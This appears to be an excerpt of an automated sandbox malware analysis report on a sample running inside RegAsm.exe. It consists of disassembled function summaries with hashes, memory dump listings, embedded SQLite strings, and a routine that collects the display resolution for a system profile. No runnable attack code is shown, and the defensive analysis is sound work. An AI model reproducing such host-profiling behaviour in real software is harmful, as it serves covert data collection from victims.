Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heaplstrlenstrchr$AllocH_prologProcessstrcpy_s
String ID: 0123456789ABCDEF
API String ID: 1978830238-2554083253
Opcode ID: 816881ed8d0e230d466643db59f852525868b97dae52142a6d260626a908fec4
Instruction ID: c5e121148ab2dda4085b2c5b8fcab7a3083e30b94096a511279be86f07c38caa
Opcode Fuzzy Hash: 816881ed8d0e230d466643db59f852525868b97dae52142a6d260626a908fec4
Instruction Fuzzy Hash: 5931DF72A00215AFDB04DFA9DC85AAF7BA9EF49350B00407AF911EB2D1DA78D905CB64

Uniqueness

Uniqueness Score: -1.00%

Function 1B4C6F30 Relevance: 15.8, APIs: 2, Strings: 7, Instructions: 83COMMON

Download Yara Rule

Strings

out of memory, xrefs: 1B4C6F39, 1B4C6FA0
misuse, xrefs: 1B4C6F6A
invalid, xrefs: 1B4C6F4F
API call with %s database connection pointer, xrefs: 1B4C6F54
bad parameter or other API misuse, xrefs: 1B4C6F7E
%s at line %d of [%.10s], xrefs: 1B4C6F6F
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1B4C6F60

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$API call with %s database connection pointer$bad parameter or other API misuse$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$invalid$misuse$out of memory
API String ID: 0-2911740470
Opcode ID: 5cc9b3d774d5523220719ee6c4dd054d42050a1a8f7379c724c1bf2c91ba6578
Instruction ID: 53351d49602f36ac12e5e12451efbc8c60db41240cb94c6c16295dfd11e46afb
Opcode Fuzzy Hash: 5cc9b3d774d5523220719ee6c4dd054d42050a1a8f7379c724c1bf2c91ba6578
Instruction Fuzzy Hash: 832149BDA0435097DB254B24EC41BD727A36BD4B19F28C52DF4D657301D635F8878392

Uniqueness

Uniqueness Score: -1.00%

Function 1B576380 Relevance: 15.1, APIs: 10, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b54a5ea55491ca75d754ca7ae4acb4d7df21aefe6965cbd11c614bf193b88763
Instruction ID: 025a955a8dc3b967cf3a403ecb4249875e92c1a10da4a8f9be991510a7ebe4bc
Opcode Fuzzy Hash: b54a5ea55491ca75d754ca7ae4acb4d7df21aefe6965cbd11c614bf193b88763
Instruction Fuzzy Hash: 6C4191705006219FDB246F25ECC9B4677BDBFA4269F10482CFCC692611D731F498CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1B4EF4B0 Relevance: 15.1, APIs: 10, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d47789057f54d3d5d235375a09c406a209fee87bea1c44866fc0f5d3bf2f426b
Instruction ID: a754f903f330e8cdaa808d6a3848bf6dda433f6ef70fdc4e692f9babce47c66e
Opcode Fuzzy Hash: d47789057f54d3d5d235375a09c406a209fee87bea1c44866fc0f5d3bf2f426b
Instruction Fuzzy Hash: 4B2191AAD0065276FB02BF216C02FEF729C5F95256F05885CFD65A2242F738E64543B3

Uniqueness

Uniqueness Score: -1.00%

Function 1B4AE170 Relevance: 14.4, APIs: 1, Strings: 7, Instructions: 445COMMON

Download Yara Rule

Strings

fts5, xrefs: 1B521053, 1B521395, 1B5213E7
fts5vocab, xrefs: 1B521340
unable to delete/modify user-function due to active statements, xrefs: 1B5213BF, 1B5214B8
porter, xrefs: 1B5212BF
unicode61, xrefs: 1B521279, 1B52130F
fts5_source_id, xrefs: 1B52148D, 1B5214E0
snippet, xrefs: 1B521200

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: fts5$fts5_source_id$fts5vocab$porter$snippet$unable to delete/modify user-function due to active statements$unicode61
API String ID: 0-2986783930
Opcode ID: 7540d568461e11ad9623dc0c9e0d620a285d1e086c66ba00c519816b3460ab24
Instruction ID: ae49f42ecaaf310123f85fa146ab3196a11e15eedf27a9bfa7ddc5659d631eb9
Opcode Fuzzy Hash: 7540d568461e11ad9623dc0c9e0d620a285d1e086c66ba00c519816b3460ab24
Instruction Fuzzy Hash: 58F1E3B4A05301DBF7049F26DC85B8B7BE9BF90384F40456CE88A97281E775E558CBE2

Uniqueness

Uniqueness Score: -1.00%

Function 1B5AFB30 Relevance: 14.3, APIs: 3, Strings: 5, Instructions: 324COMMON

Download Yara Rule

Strings

misuse, xrefs: 1B5AFBA0
API called with finalized prepared statement, xrefs: 1B5AFB7A
%s at line %d of [%.10s], xrefs: 1B5AFBA5
API called with NULL prepared statement, xrefs: 1B5AFB65
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1B5AFB96

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$API called with NULL prepared statement$API called with finalized prepared statement$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$misuse
API String ID: 0-860711957
Opcode ID: 8552df9e4f768bc4d8598d0c1edfcb3f1e2ee19b9df76714dc9393bcb841ab76
Instruction ID: f4d0fc1b259d0cc38eeadb8bec9971ff55b8e20cb6f15744a7a74852da40fea4
Opcode Fuzzy Hash: 8552df9e4f768bc4d8598d0c1edfcb3f1e2ee19b9df76714dc9393bcb841ab76
Instruction Fuzzy Hash: D9B1F4B49043419FF720AF35D845B9BB7E4BF44718F04492CE88AE7281E776E449C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 1B521710 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 235COMMON

Download Yara Rule

Strings

rank, xrefs: 1B521824
%z, %Q HIDDEN, %s HIDDEN), xrefs: 1B521831
CREATE TABLE x(, xrefs: 1B5217D9
%z%s%Q, xrefs: 1B52180D

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %z%s%Q$%z, %Q HIDDEN, %s HIDDEN)$CREATE TABLE x($rank
API String ID: 0-3324442540
Opcode ID: a82e5fdea01da0b329044763abde7cf27f6f211008d8ec5e4da6d02d58c11948
Instruction ID: 154a43d0e366548598ef5846087b762aa173dddde3387ee501f069de07f89800
Opcode Fuzzy Hash: a82e5fdea01da0b329044763abde7cf27f6f211008d8ec5e4da6d02d58c11948
Instruction Fuzzy Hash: 2A81F076A01211EFEB018F64DC85B8BB7E8FF94265F040669FC84E7250D732E954CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1B4EE320 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 177COMMON

Download Yara Rule

Strings

misuse, xrefs: 1B4EE380
API called with finalized prepared statement, xrefs: 1B4EE36A
%s at line %d of [%.10s], xrefs: 1B4EE385
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1B4EE376

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$API called with finalized prepared statement$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$misuse
API String ID: 0-3620335220
Opcode ID: faf7aa9fe5189341562b881b5a826fec9e446e82bdd0ace813933b9003202f24
Instruction ID: 4dafa5f31757a5278447ff31cc1aaba0a9665b22c1032a0bf5944571943aeb54
Opcode Fuzzy Hash: faf7aa9fe5189341562b881b5a826fec9e446e82bdd0ace813933b9003202f24
Instruction Fuzzy Hash: E051B571D00221DBEB658F64DC8DBDA3768AFA4316F04C42CED8996341D739E588CBB2

Uniqueness

Uniqueness Score: -1.00%

Function 1B5974A0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 175COMMON

Download Yara Rule

Strings

misuse, xrefs: 1B5974D7
invalid, xrefs: 1B5974BC
API call with %s database connection pointer, xrefs: 1B5974C1
%s at line %d of [%.10s], xrefs: 1B5974DC
unable to close due to unfinalized statements or unfinished backups, xrefs: 1B5975D1
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1B5974CD

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$API call with %s database connection pointer$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 0-3800776574
Opcode ID: c3aaedfd4f9b1d1ba8ffa6f16768def9d9983f0a4263c6982f5f15076eaf67b0
Instruction ID: 745a3c76535adb5c6e6fc68e6b9a0446e324d6b07d9f13e7e4a8b56027371246
Opcode Fuzzy Hash: c3aaedfd4f9b1d1ba8ffa6f16768def9d9983f0a4263c6982f5f15076eaf67b0
Instruction Fuzzy Hash: 84514775A00711ABF7119F38FC89BDB77A9AF90214F05442EE8EA93201E730F545C7A6

Uniqueness

Uniqueness Score: -1.00%

Function 1B53BCF0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 103COMMON

Download Yara Rule

Strings

SELECT length(data) FROM '%q'.'%q_node' WHERE nodeno = 1, xrefs: 1B53BD67
PRAGMA %Q.page_size, xrefs: 1B53BD03
undersize RTree blobs in "%q_node", xrefs: 1B53BDA1

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: PRAGMA %Q.page_size$SELECT length(data) FROM '%q'.'%q_node' WHERE nodeno = 1$undersize RTree blobs in "%q_node"
API String ID: 0-3485589083
Opcode ID: 7963bdda837c4ce5170bd92aa0cc645d6e1855e17d058aacf264ad953bbb41a8
Instruction ID: 000b32e08c196d49fa3381a18d92f41cff572c7162dcbcd192cbed960ac4b97a
Opcode Fuzzy Hash: 7963bdda837c4ce5170bd92aa0cc645d6e1855e17d058aacf264ad953bbb41a8
Instruction Fuzzy Hash: F431B4B1A00211ABF7048F65DC84BDA7BBCEB98356F004A29FC85D6321D735E958DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0040F3ED Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

CreateDCA.GDI32(00000000,00000000,00000000,00000000), ref: 0040F402
GetDeviceCaps.GDI32(00000000,00000008), ref: 0040F40D
GetDeviceCaps.GDI32(00000000,0000000A), ref: 0040F418
ReleaseDC.USER32(00000000,00000000), ref: 0040F423
GetProcessHeap.KERNEL32(00000000,00000104,?,00000000,?,?,00413CF0,?,00000000,?,Display Resolution: ,00000000,?,004255B0,00000000,?), ref: 0040F42F
HeapAlloc.KERNEL32(00000000,?,00000000,?,?,00413CF0,?,00000000,?,Display Resolution: ,00000000,?,004255B0,00000000,?,00000000), ref: 0040F436
wsprintfA.USER32 ref: 0040F448

Part of subcall function 0040E912: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E93C

Strings

%dx%d, xrefs: 0040F442

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CapsDeviceHeap$AllocCreateProcessReleaselstrcpywsprintf
String ID: %dx%d
API String ID: 3940144428-2206825331
Opcode ID: 5c19b7d1c26090864035b4511e7466069b565c9ce0d08ad1df0c07519e683e3f
Instruction ID: e0aa5cb377fd9a4d6f668c4785e13fa4c5f16bf34494e881d495f65158ee2036
Opcode Fuzzy Hash: 5c19b7d1c26090864035b4511e7466069b565c9ce0d08ad1df0c07519e683e3f
Instruction Fuzzy Hash: 69F0D135A01224FBE7106BA6AC0DE9F7E6DFF4BBA1F001015FA01A3150D6754A018BB4

Uniqueness

Uniqueness Score: -1.00%

Function 1B5932F0 Relevance: 12.7, APIs: 4, Strings: 3, Instructions: 464COMMON

Download Yara Rule

Strings

database corruption, xrefs: 1B5936C2, 1B593707, 1B593767, 1B593818
%s at line %d of [%.10s], xrefs: 1B5936C7, 1B59370C, 1B59376C, 1B59381D
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1B5936B8, 1B5936FD, 1B59375D, 1B59380E

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$database corruption$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f
API String ID: 0-2528248365
Opcode ID: f806a499c84659f80691f49cd4cda1903242f0ee33ee49ed6d3ff8e1644f3a0d
Instruction ID: b9073483952595b6969f98a04f276e677707d37e99ebd57ac0d3ed86fa9e9c01
Opcode Fuzzy Hash: f806a499c84659f80691f49cd4cda1903242f0ee33ee49ed6d3ff8e1644f3a0d
Instruction Fuzzy Hash: 64F12271A04651DFE700DF28D8C4AE6BBF0FF94215F4456A9E888CB252E331E95AC7A1

Uniqueness

Uniqueness Score: -1.00%

Function 1B4C28E5 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 346COMMON

Download Yara Rule

Strings

malformed inverted index for FTS5 table %s.%s, xrefs: 1B4C2A8A
INSERT INTO "%w"."%w"("%w") VALUES('integrity-check');, xrefs: 1B4C29F1
unable to validate the inverted index for FTS5 table %s.%s: %s, xrefs: 1B4C2AA0

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: INSERT INTO "%w"."%w"("%w") VALUES('integrity-check');$malformed inverted index for FTS5 table %s.%s$unable to validate the inverted index for FTS5 table %s.%s: %s
API String ID: 0-3572959941
Opcode ID: a58b9ef65bdd4dee89e28b3c85a24f7b663237a4ba77b229b7ef541b9a241c18
Instruction ID: 486b4dcf584dd4a957c3933d584160f0cf1e1c4bbb9d0d372beaa4497cae0545
Opcode Fuzzy Hash: a58b9ef65bdd4dee89e28b3c85a24f7b663237a4ba77b229b7ef541b9a241c18
Instruction Fuzzy Hash: 7241E376901221ABD3148F69DC88EDB7BACFF94665F04452DFC8D82200D732D699CBE2

Uniqueness

Uniqueness Score: -1.00%

Function 1B4A9700 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 277COMMON

Download Yara Rule

Strings

(FK), xrefs: 1B4A98D3

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
